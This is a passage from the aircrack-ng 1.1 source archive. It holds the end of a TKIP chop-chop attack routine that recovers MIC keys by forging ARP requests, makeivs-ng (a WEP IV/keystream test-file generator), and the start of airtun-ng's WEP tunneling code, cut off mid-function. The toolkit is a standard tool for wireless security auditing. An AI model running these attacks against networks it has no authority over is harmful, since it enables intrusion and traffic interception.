Key */ if (do_attack_tkipchop(h80211, caplen) == 1) return( 1 ); /* derive IPs and MACs; relays on QoS, ARP and fromDS packet */ if(opt.chopped_from_plain != NULL) { memcpy(opt.ip_cli, opt.chopped_from_plain+58, 4); memcpy(opt.ip_ap, opt.chopped_from_plain+48, 4); memcpy(opt.r_apmac, opt.chopped_from_plain+42, 6); } PCT; printf("AP MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n", opt.r_apmac[0],opt.r_apmac[1],opt.r_apmac[2],opt.r_apmac[3],opt.r_apmac[4],opt.r_apmac[5], opt.ip_ap[0],opt.ip_ap[1],opt.ip_ap[2],opt.ip_ap[3]); PCT; printf("Client MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n", opt.r_smac[0],opt.r_smac[1],opt.r_smac[2],opt.r_smac[3],opt.r_smac[4],opt.r_smac[5], opt.ip_cli[0],opt.ip_cli[1],opt.ip_cli[2],opt.ip_cli[3]); /* Send an ARP Request from the AP to the Client */ build_arp_request(h80211, &caplen, 0); //writes encrypted tkip arp request into h80211 send_packet(h80211, caplen); PCT; printf("Sent encrypted tkip ARP request to the client.\n"); /* wait until we can generate a new mic failure */ PCT; printf("Wait for the mic countermeasure timeout of %i seconds.\n", opt.mic_failure_interval); while(1) { gettimeofday(&mic_fail, NULL); if( (mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000 + (mic_fail.tv_usec - opt.last_mic_failure.tv_usec) > opt.mic_failure_interval * 1000000) break; sleep(1); } /* Also chop the answer to get the equivalent MIC Key */ memcpy(h80211, packet2, packet2_len); do_attack_tkipchop(h80211, caplen); /* that's all, folks */ return( 0 ); } aircrack-ng-1.1/src/makeivs-ng.c0000644000000000000000000003366111357637246015255 0ustar rootroot /* * Server for osdep network driver. Uses osdep itself! [ph33r teh recursion] * * Copyright (C) 2006, 2007, 2008, 2009 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include "version.h" #include "pcap.h" #include "uniqueiv.h" #include "common.h" #define NULL_MAC "\x00\x00\x00\x00\x00\x00" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); char usage[] = "\n" " %s - (C) 2006, 2007, 2008, 2009 Thomas d\'Otreppe\n" " Original work: Christophe Devine\n" " http://www.aircrack-ng.org\n" "\n" " usage: makeivs-ng [options]\n" "\n" " Common options:\n" " -b : Set access point MAC address\n" " -f : Number of first IV\n" " -k : Target network WEP key in hex\n" " -s : Seed used to setup random generator\n" " -w : Filename to write IVs into\n" " -c : Number of IVs to generate\n" " -d : Percentage of dupe IVs\n" " -e : Percentage of erroneous keystreams\n" " -l : Length of keystreams\n" " -n : Ignores ignores weak IVs\n" " -p : Uses prng algorithm to generate IVs\n" "\n" " --help : Displays this usage screen\n" "\n"; int main( int argc, char *argv[] ) { int i, j, k, pre_n, n, count=100000, length=16; int paramUsed = 0, keylen=0, zero=0, startiv=0, iv=0; FILE *f_ivs_out; unsigned char K[32]; unsigned char S[256]; // unsigned char buffer[64]; char *s, *filename=NULL; struct ivs2_pkthdr ivs2; struct ivs2_filehdr fivs2; unsigned long long size; int option_index, option, crypt=0; char buf[2048]; int weplen=0, nofms=0, prng=0; float errorrate=0, dupe=0; unsigned char bssid[6]; int seed=time(NULL), z; int maxivs=0x1000000; unsigned char byte; unsigned char **uiv_root; static struct option long_options[] = { {"key", 1, 0, 'k'}, {"write", 1, 0, 'w'}, {"count", 1, 0, 'c'}, {"seed", 1, 0, 's'}, {"length", 1, 0, 'l'}, {"first", 1, 0, 'f'}, {"bssid", 1, 0, 'b'}, {"dupe", 1, 0, 'd'}, {"error", 1, 0, 'e'}, {"nofms", 0, 0, 'n'}, {"prng", 0, 0, 'p'}, {"help", 0, 0, 'H'}, {0, 0, 0, 0 } }; i = 0; memset(K, 0, 32); memset(bssid, 0, 6); uiv_root = uniqueiv_init(); /* check the arguments */ do { option_index = 0; option = getopt_long( argc, argv, "k:w:c:s:l:f:b:d:e:npHh", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':': goto usage; break; case '?': goto usage; break; case 'n': paramUsed = 1; nofms = 1; break; case 'p': paramUsed = 1; prng = 1; break; case 'l': paramUsed = 1; if (atoi(optarg) < 2 || atoi(optarg) > 2300) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Specified keystream length is invalid. [2-2300]" ); return( 1 ); } length = atoi(optarg); break; case 'c': paramUsed = 1; if (atoi(optarg) < 1 || atoi(optarg) > 0x1000000) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Specified number of IVs is invalid. [1-16777216]" ); return( 1 ); } count = atoi(optarg); break; case 's': paramUsed = 1; if (atoi(optarg) < 1) { printf( "Specified seed is invalid. [>=1]" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } seed = atoi(optarg); break; case 'e': paramUsed = 1; sscanf(optarg, "%f", &errorrate); if (errorrate < 0.0f || errorrate > 100.0f) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Specified errorrate is invalid. [0-100]" ); return( 1 ); } break; case 'd': paramUsed = 1; sscanf(optarg, "%f", &dupe); if (dupe < 0.0f || dupe > 100.0f) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Specified dupe is invalid. [0-100]" ); return( 1 ); } break; case 'f': paramUsed = 1; if (atoi(optarg) < 0 || atoi(optarg) > 0xFFFFFF) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Specified start IV is invalid. [0-16777215]" ); return( 1 ); } paramUsed = 1; startiv = atoi(optarg); break; case 'w': paramUsed = 1; filename = optarg; break; case 'b': paramUsed = 1; if ( memcmp(bssid, NULL_MAC, 6) != 0 ) { printf("Notice: bssid already given\n"); break; } if(getmac(optarg, 1, bssid) != 0) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf("Notice: invalid bssid\n"); return( 1 ); } break; case 'k' : paramUsed = 1; if( crypt != 0 ) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Encryption key already specified.\n" ); return( 1 ); } crypt = 1; i = 0; s = optarg; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; while( sscanf( buf, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Invalid WEP key.\n" ); return( 1 ); } K[3+i++] = n; if( i >= 32 ) break; s += 2; if( s[0] == ':' || s[0] == '-' ) s++; if( s[0] == '\0' || s[1] == '\0' ) break; buf[0] = s[0]; buf[1] = s[1]; } if( i != 5 && i != 13 && i != 29) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Invalid WEP key length. [5,13,29]\n" ); return( 1 ); } weplen = i; keylen = i+3; break; case 'h' : case 'H' : goto usage; break; default : goto usage; } } while ( 1 ); if(nofms) maxivs -= 256*weplen; srand(seed); if (paramUsed == 0) { usage: printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 0 ); } if(count > maxivs) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Specified too many IVs (%d), but there are only %d possible.\n", count, maxivs); return( 1 ); } if(length == 0) length = 16; //default 16 keystreambytes if(crypt < 1) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf("You need to specify the WEP key (-k).\n"); return( 1 ); } if(filename == NULL) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf("You need to specify the output filename (-w).\n"); return( 1 ); } size = (long long)strlen(IVS2_MAGIC) + (long long)sizeof(struct ivs2_filehdr) + (long long)count * (long long)sizeof(struct ivs2_pkthdr) + (long long)count * (long long)(length+4); printf("Creating %d IVs with %d bytes of keystream each.\n", count, length); printf("Estimated filesize: "); if(size > 1024*1024*1024) //over 1 GB printf("%.2f GB\n", ((double)size/(1024.0*1024.0*1024.0))); else if (size > 1024*1024) //over 1 MB printf("%.2f MB\n", ((double)size/(1024.0*1024.0))); else if (size > 1024) //over 1 KB printf("%.2f KB\n", ((double)size/1024.0)); else //under 1 KB printf("%.2f Byte\n", (double)size); if( ( f_ivs_out = fopen( filename, "wb+" ) ) == NULL ) { perror( "fopen" ); return( 1 ); } if( fwrite( IVS2_MAGIC, 1, 4, f_ivs_out ) != (size_t) 4 ) { perror( "fwrite(IVs file MAGIC) failed" ); return( 1 ); } memset(&fivs2, '\x00', sizeof(struct ivs2_filehdr)); fivs2.version = IVS2_VERSION; /* write file header */ if( fwrite( &fivs2, sizeof(struct ivs2_filehdr), 1, f_ivs_out ) != (size_t) 1 ) { perror( "fwrite(IV file header) failed" ); return( 1 ); } memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags |= IVS2_BSSID; ivs2.len += 6; /* write header */ if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs_out ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( memcmp(NULL_MAC, bssid, 6) == 0) { memcpy(bssid, "\x01\x02\x03\x04\x05\x06", 6); } /* write BSSID */ if( fwrite( bssid, 1, 6, f_ivs_out ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } printf("Using fake BSSID %02X:%02X:%02X:%02X:%02X:%02X\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5] ); z=0; pre_n=0; for( n = 0; n < count; n++ ) { if( (dupe==0) || (pre_n == n) || ((float)rand()/(float)RAND_MAX > (float)((float)dupe/100.0f)) ) { if(prng) { iv = rand() & 0xFFFFFF; } else { iv = (z + startiv) & 0xFFFFFF; z++; } if(nofms) { if ((iv & 0xff00) == 0xff00) { byte = (iv >> 16) & 0xff; if (byte >= 3 && byte < keylen) { if(!prng && (iv&0xFF)==0) z+=0xff; n--; continue; } } } if( uniqueiv_check( uiv_root, (unsigned char*)&iv ) != 0 ) { n--; continue; } uniqueiv_mark( uiv_root, (unsigned char*)&iv ); } pre_n=n; K[2] = ( iv >> 16 ) & 0xFF; K[1] = ( iv >> 8 ) & 0xFF; K[0] = ( iv ) & 0xFF; for( i = 0; i < 256; i++ ) S[i] = i; for( i = j = 0; i < 256; i++ ) { j = ( j + S[i] + K[i % keylen] ) & 0xFF; SWAP( S[i], S[j] ); } if(errorrate > 0 && ((float)((float)rand()/(float)RAND_MAX) <= (float)(errorrate/100.0f)) ) { SWAP( S[1], S[11] ); } memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; ivs2.flags |= IVS2_XOR; ivs2.len += length+4; if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs_out ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( fwrite( K, 1, 3, f_ivs_out ) != (size_t) 3 ) { perror( "fwrite(IV iv) failed" ); return( 1 ); } if( fwrite( &zero, 1, 1, f_ivs_out ) != (size_t) 1 ) { perror( "fwrite(IV idx) failed" ); return( 1 ); } ivs2.len -= 4; i = j = 0; for( k=0; k < length; k++ ) { i = (i+1) & 0xFF; j = ( j + S[i] ) & 0xFF; SWAP(S[i], S[j]); fprintf( f_ivs_out, "%c", S[(S[i] + S[j]) & 0xFF] ); } if((n%10000) == 0) printf("%2.1f%%\r", ((float)n/(float)count)*100.0f); fflush(stdout); } fclose( f_ivs_out ); printf( "Done.\n" ); return( 0 ); } aircrack-ng-1.1/src/airtun-ng.c0000644000000000000000000013032711355271630015102 0ustar rootroot/* * 802.11 WEP network connection tunneling * based on aireplay-ng * * Copyright (C) 2006, 2007, 2008, 2009 Thomas d'Otreppe * Copyright (C) 2006, 2007, 2008, 2009 Martin Beck * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifdef linux #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "version.h" #include "pcap.h" #include "crypto.h" #include "common.h" #include "osdep/osdep.h" static struct wif *_wi_in, *_wi_out; #define CRYPT_NONE 0 #define CRYPT_WEP 1 //if not all fragments are available 60 seconds after the last fragment was received, they will be removed #define FRAG_TIMEOUT (1000000*60) extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern char * searchInside(const char * dir, const char * filename); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); extern int check_crc_buf( unsigned char *buf, int len ); extern int add_crc32(unsigned char* data, int length); extern const unsigned long int crc_tbl[256]; extern const unsigned char crc_chop_tbl[256][4]; char usage[] = "\n" " %s - (C) 2006, 2007, 2008, 2009 Thomas d'Otreppe\n" " Original work: Christophe Devine and Martin Beck\n" " http://www.aircrack-ng.org\n" "\n" " usage: airtun-ng \n" "\n" " -x nbpps : number of packets per second (default: 100)\n" " -a bssid : set Access Point MAC address\n" " : In WDS Mode this sets the Receiver\n" " -i iface : capture packets from this interface\n" " -y file : read PRGA from this file\n" " -w wepkey : use this WEP-KEY to encrypt packets\n" " -t tods : send frames to AP (1) or to client (0)\n" " : or tunnel them into a WDS/Bridge (2)\n" " -r file : read frames out of pcap file\n" "\n" " WDS/Bridge Mode options:\n" " -s transmitter : set Transmitter MAC address for WDS Mode\n" " -b : bidirectional mode. This enables communication\n" " : in Transmitter's AND Receiver's networks.\n" " : Works only if you can see both stations.\n" "\n" " Repeater options:\n" " --repeat : activates repeat mode\n" " --bssid : BSSID to repeat\n" " --netmask : netmask for BSSID filter\n" "\n" " --help : Displays this usage screen\n" "\n"; struct options { unsigned char r_bssid[6]; unsigned char r_dmac[6]; unsigned char r_smac[6]; unsigned char r_trans[6]; unsigned char f_bssid[6]; unsigned char f_netmask[6]; char *s_face; char *s_file; uchar *prga; int r_nbpps; int prgalen; int tods; int bidir; uchar wepkey[64]; int weplen, crypt; int repeat; } opt; struct devices { int fd_in, arptype_in; int fd_out, arptype_out; int fd_rtc; struct tif *dv_ti; int is_wlanng; int is_hostap; int is_madwifi; int is_madwifing; int is_bcm43xx; FILE *f_cap_in; struct pcap_file_header pfh_in; } dev; struct ARP_req { unsigned char *buf; int len; }; typedef struct Fragment_list* pFrag_t; struct Fragment_list { unsigned char source[6]; unsigned short sequence; unsigned char* fragment[16]; short fragmentlen[16]; char fragnum; unsigned char* header; short headerlen; struct timeval access; char wep; pFrag_t next; }; struct net_entry { unsigned char *addr; unsigned char net; struct net_entry *next; }; unsigned long nb_pkt_sent; unsigned char h80211[4096]; unsigned char tmpbuf[4096]; unsigned char srcbuf[4096]; char strbuf[512]; struct net_entry *nets = NULL; int ctrl_c, alarmed; char * iwpriv; pFrag_t rFragment; struct net_entry *find_entry(unsigned char *adress) { struct net_entry *cur = nets; if (cur == NULL) return NULL; do { if (! memcmp(cur->addr, adress, 6)) { return cur; } cur = cur->next; } while (cur != nets); return NULL; } void set_entry(unsigned char *adress, unsigned char network) { struct net_entry *cur; if( nets == NULL ) { nets = malloc(sizeof(struct net_entry)); nets->addr = malloc(6 * sizeof(unsigned char)); nets->next = nets; cur = nets; } else { cur = find_entry(adress); if (cur == NULL) { cur = malloc(sizeof(struct net_entry)); cur->addr = malloc(6 * sizeof(unsigned char)); cur->next = nets->next; nets->next = cur; } } memcpy(cur->addr, adress, 6); cur->net = network; } int get_entry(unsigned char *adress) { struct net_entry *cur = find_entry(adress); if (cur == NULL) { return -1; } else { return cur->net; } } void swap_ra_ta(unsigned char *h80211) { unsigned char mbuf[6]; memcpy(mbuf , h80211+ 4, 6); memcpy(h80211+ 4, h80211+10, 6); memcpy(h80211+10, mbuf , 6); } void sighandler( int signum ) { if( signum == SIGINT ) ctrl_c++; if( signum == SIGALRM ) alarmed++; } int addFrag(unsigned char* packet, unsigned char* smac, int len) { pFrag_t cur = rFragment; int seq, frag, wep, z, i; unsigned char frame[4096]; unsigned char K[128]; if(packet == NULL) return -1; if(smac == NULL) return -1; if(len <= 32 || len > 2000) return -1; if(rFragment == NULL) return -1; memset(frame, 0, 4096); memcpy(frame, packet, len); z = ( ( frame[1] & 3 ) != 3 ) ? 24 : 30; frag = frame[22] & 0x0F; seq = (frame[22] >> 4) | (frame[23] << 4); wep = (frame[1] & 0x40) >> 6; if(frag < 0 || frag > 15) return -1; if(wep && opt.crypt != CRYPT_WEP) return -1; if(wep) { //decrypt it memcpy( K, frame + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if (decrypt_wep( frame + z + 4, len - z - 4, K, 3 + opt.weplen ) == 0 && (len-z-4 > 8) ) { printf("error decrypting... len: %d\n", len-z-4); return -1; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ len -= 8; memcpy( frame + z, frame + z + 4, len - z ); frame[1] &= 0xBF; } while(cur->next != NULL) { cur = cur->next; if( (memcmp(smac, cur->source, 6) == 0) && (seq == cur->sequence) && (wep == cur->wep) ) { //entry already exists, update // printf("got seq %d, added fragment %d \n", seq, frag); if(cur->fragment[frag] != NULL) return 0; if( (frame[1] & 0x04) == 0 ) { // printf("max fragnum is %d\n", frag); cur->fragnum = frag; //no higher frag number possible } cur->fragment[frag] = (unsigned char*) malloc(len-z); memcpy(cur->fragment[frag], frame+z, len-z); cur->fragmentlen[frag] = len-z; gettimeofday(&cur->access, NULL); return 0; } } // printf("new seq %d, added fragment %d \n", seq, frag); //new entry, first fragment received //alloc mem cur->next = (pFrag_t) malloc(sizeof(struct Fragment_list)); cur = cur->next; for(i=0; i<16; i++) { cur->fragment[i] = NULL; cur->fragmentlen[i] = 0; } if( (frame[1] & 0x04) == 0 ) { // printf("max fragnum is %d\n", frag); cur->fragnum = frag; //no higher frag number possible } else { cur->fragnum = 0; } //remove retry & more fragments flag frame[1] &= 0xF3; //set frag number to 0 frame[22] &= 0xF0; memcpy(cur->source, smac, 6); cur->sequence = seq; cur->header = (unsigned char*) malloc(z); memcpy(cur->header, frame, z); cur->headerlen = z; cur->fragment[frag] = (unsigned char*) malloc(len-z); memcpy(cur->fragment[frag], frame+z, len-z); cur->fragmentlen[frag] = len-z; cur->wep = wep; gettimeofday(&cur->access, NULL); cur->next = NULL; return 0; } int timeoutFrag() { pFrag_t old, cur = rFragment; struct timeval tv; int64_t timediff; int i; if(rFragment == NULL) return -1; gettimeofday(&tv, NULL); while(cur->next != NULL) { old = cur->next; timediff = (tv.tv_sec - old->access.tv_sec)*1000000 + (tv.tv_usec - old->access.tv_usec); if(timediff > FRAG_TIMEOUT) { //remove captured fragments if(old->header != NULL) free(old->header); for(i=0; i<16; i++) if(old->fragment[i] != NULL) free(old->fragment[i]); cur->next = old->next; free(old); } cur = cur->next; } return 0; } int delFrag(unsigned char* smac, int sequence) { pFrag_t old, cur = rFragment; int i; if(rFragment == NULL) return -1; if(smac == NULL) return -1; if(sequence < 0) return -1; while(cur->next != NULL) { old = cur->next; if(memcmp(smac, old->source, 6) == 0 && old->sequence == sequence) { //remove captured fragments if(old->header != NULL) free(old->header); for(i=0; i<16; i++) if(old->fragment[i] != NULL) free(old->fragment[i]); cur->next = old->next; free(old); return 0; } cur = cur->next; } return 0; } unsigned char* getCompleteFrag(unsigned char* smac, int sequence, int *packetlen) { pFrag_t old, cur = rFragment; int i, len=0; unsigned char* packet=NULL; unsigned char K[128]; if(rFragment == NULL) return NULL; if(smac == NULL) return NULL; while(cur->next != NULL) { old = cur->next; if(memcmp(smac, old->source, 6) == 0 && old->sequence == sequence) { //check if all frags available if(old->fragnum == 0) return NULL; for(i=0; i<=old->fragnum; i++) { if(old->fragment[i] == NULL) return NULL; len += old->fragmentlen[i]; } if(len > 2000) return NULL; // printf("got a complete frame -> build it\n"); if(old->wep) { packet = (unsigned char*) malloc(len+old->headerlen+8); if( opt.crypt == CRYPT_WEP) { K[0] = rand() & 0xFF; K[1] = rand() & 0xFF; K[2] = rand() & 0xFF; K[3] = 0x00; memcpy(packet, old->header, old->headerlen); len=old->headerlen; memcpy(packet+len, K, 4); len+=4; for(i=0; i<=old->fragnum; i++) { memcpy(packet+len, old->fragment[i], old->fragmentlen[i]); len+=old->fragmentlen[i]; } /* write crc32 value behind data */ if( add_crc32(packet+old->headerlen+4, len-old->headerlen-4) != 0 ) return NULL; len += 4; //icv memcpy( K + 3, opt.wepkey, opt.weplen ); encrypt_wep( packet+old->headerlen+4, len-old->headerlen-4, K, opt.weplen+3 ); packet[1] = packet[1] | 0x40; //delete captured fragments delFrag(smac, sequence); *packetlen = len; return packet; } else return NULL; } else { packet = (unsigned char*) malloc(len+old->headerlen); memcpy(packet, old->header, old->headerlen); len=old->headerlen; for(i=0; i<=old->fragnum; i++) { memcpy(packet+len, old->fragment[i], old->fragmentlen[i]); len+=old->fragmentlen[i]; } //delete captured fragments delFrag(smac, sequence); *packetlen = len; return packet; } } cur = cur->next; } return packet; } int is_filtered_netmask(uchar *bssid) { uchar mac1[6]; uchar mac2[6]; int i; for(i=0; i<6; i++) { mac1[i] = bssid[i] & opt.f_netmask[i]; mac2[i] = opt.f_bssid[i] & opt.f_netmask[i]; } if( memcmp(mac1, mac2, 6) != 0 ) { return( 1 ); } return 0; } int send_packet(void *buf, size_t count) { struct wif *wi = _wi_out; /* XXX globals suck */ if (wi_write(wi, buf, count, NULL) == -1) { perror("wi_write()"); return -1; } nb_pkt_sent++; return 0; } int read_packet(void *buf, size_t count) { struct wif *wi = _wi_in; /* XXX */ int rc; rc = wi_read(wi, buf, count, NULL); if (rc == -1) { perror("wi_read()"); return -1; } return rc; } int msleep( int msec ) { struct timeval tv, tv2; float f, ticks; int n; if(msec == 0) msec = 1; ticks = 0; while( 1 ) { /* wait for the next timer interrupt, or sleep */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks++; } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 1024 ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks += f / 1024; } if( ( ticks / 1024 * 1000 ) < msec ) continue; /* threshold reached */ break; } return 0; } int read_prga(unsigned char **dest, char *file) { FILE *f; int size; if(file == NULL) return( 1 ); if(*dest == NULL) *dest = (unsigned char*) malloc(1501); if( memcmp( file+(strlen(file)-4), ".xor", 4 ) != 0 ) { printf("Is this really a PRGA file: %s?\n", file); } f = fopen(file, "r"); if(f == NULL) { printf("Error opening %s\n", file); return( 1 ); } fseek(f, 0, SEEK_END); size = ftell(f); rewind(f); if(size > 1500) size = 1500; if( fread( (*dest), size, 1, f ) != 1 ) { fprintf( stderr, "fread failed\n" ); return( 1 ); } if( (*dest)[3] > 0x03 ) { printf("Are you really sure that this is a valid keystream? Because the index is out of range (0-3): %02X\n", (*dest)[3] ); } opt.prgalen = size; fclose(f); return( 0 ); } void add_icv(uchar *input, int len, int offset) { unsigned long crc = 0xFFFFFFFF; int n=0; for( n = offset; n < len; n++ ) crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; input[len] = (crc ) & 0xFF; input[len+1] = (crc >> 8) & 0xFF; input[len+2] = (crc >> 16) & 0xFF; input[len+3] = (crc >> 24) & 0xFF; return; } int xor_keystream(uchar *ph80211, uchar *keystream, int len) { int i=0; for (i=0; i> 1, ( h80211[1] & 1 ) ); if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) { if ( ( h80211[1] & 3 ) == 3 ) key_index_offset = 33; //WDS packets have an additional MAC adress else key_index_offset = 27; if( ( h80211[key_index_offset] & 0x20 ) == 0 ) printf( " (WEP)" ); else printf( " (WPA)" ); } for( i = 0; i < caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 224 ) { printf( "\n --- CUT ---" ); break; } printf( "\n 0x%04x: ", i ); } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf("\n"); } #define IEEE80211_LLC_SNAP \ "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00" int set_IVidx(unsigned char* packet, int data_begin) { if(packet == NULL) return 1; if(opt.prga == NULL) { printf("Please specify a PRGA file (-y).\n"); return 1; } /* insert IV+index */ memcpy(packet + data_begin, opt.prga, 4); return 0; } int encrypt_data(unsigned char *dest, unsigned char* data, int length) { unsigned char cipher[2048]; int n; if(dest == NULL) return 1; if(data == NULL) return 1; if(length < 1 || length > 2044) return 1; if(opt.prga == NULL) { printf("Please specify a PRGA file (-y).\n"); return 1; } if(opt.prgalen-4 < length) { printf("Please specify a longer PRGA file (-y) with at least %i bytes.\n", (length+4)); return 1; } /* encrypt data */ for(n=0; n 0 ) { if(create_wep_packet(h80211, &length, data_begin) != 0) return 1; } if ((opt.tods == 2) && opt.bidir) { dest_net = get_entry(packet); //Search the list to determine in which network part to send the packet. if (dest_net == 0) { send_packet(h80211, length); } else if (dest_net == 1) { swap_ra_ta(h80211); send_packet(h80211, length); } else { send_packet(h80211, length); swap_ra_ta(h80211); send_packet(h80211, length); } } else { send_packet(h80211, length); } return 0; } int packet_recv(uchar* packet, int length) { uchar K[64]; uchar bssid[6], smac[6], dmac[6]; uchar *buffer; int len; int z; int fragnum, seqnum, morefrag; int process_packet; z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if(length < z+8) { return 1; } switch( packet[1] & 3 ) { case 0: memcpy( bssid, packet + 16, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 10, 6 ); break; case 1: memcpy( bssid, packet + 4, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 10, 6 ); break; case 2: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 16, 6 ); break; default: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 24, 6 ); break; } fragnum = packet[22] & 0x0F; seqnum = (packet[22] >> 4) | (packet[23] << 4); morefrag = packet[1] & 0x04; /* Fragment? */ if(fragnum > 0 || morefrag) { addFrag(packet, smac, length); buffer = getCompleteFrag(smac, seqnum, &len); timeoutFrag(); /* we got frag, no compelete packet avail -> do nothing */ if(buffer == NULL) return 1; // printf("got all frags!!!\n"); memcpy(packet, buffer, len); length = len; free(buffer); buffer = NULL; } process_packet = 0; // In WDS mode we want to see packets from both sides of the network if ( ( packet[0] & 0x08 ) == 0x08 ) { if( memcmp( bssid, opt.r_bssid, 6) == 0 ) { process_packet = 1; } else if( opt.tods == 2 && memcmp( bssid, opt.r_trans, 6) == 0 ) { process_packet = 1; } } if( process_packet ) { if( (packet[z] != packet[z + 1] || packet[z + 2] != 0x03) && opt.crypt == CRYPT_WEP ) { /* check the extended IV flag */ if( ( packet[z + 3] & 0x20 ) == 0 ) { memcpy( K, packet + z, 3 ); 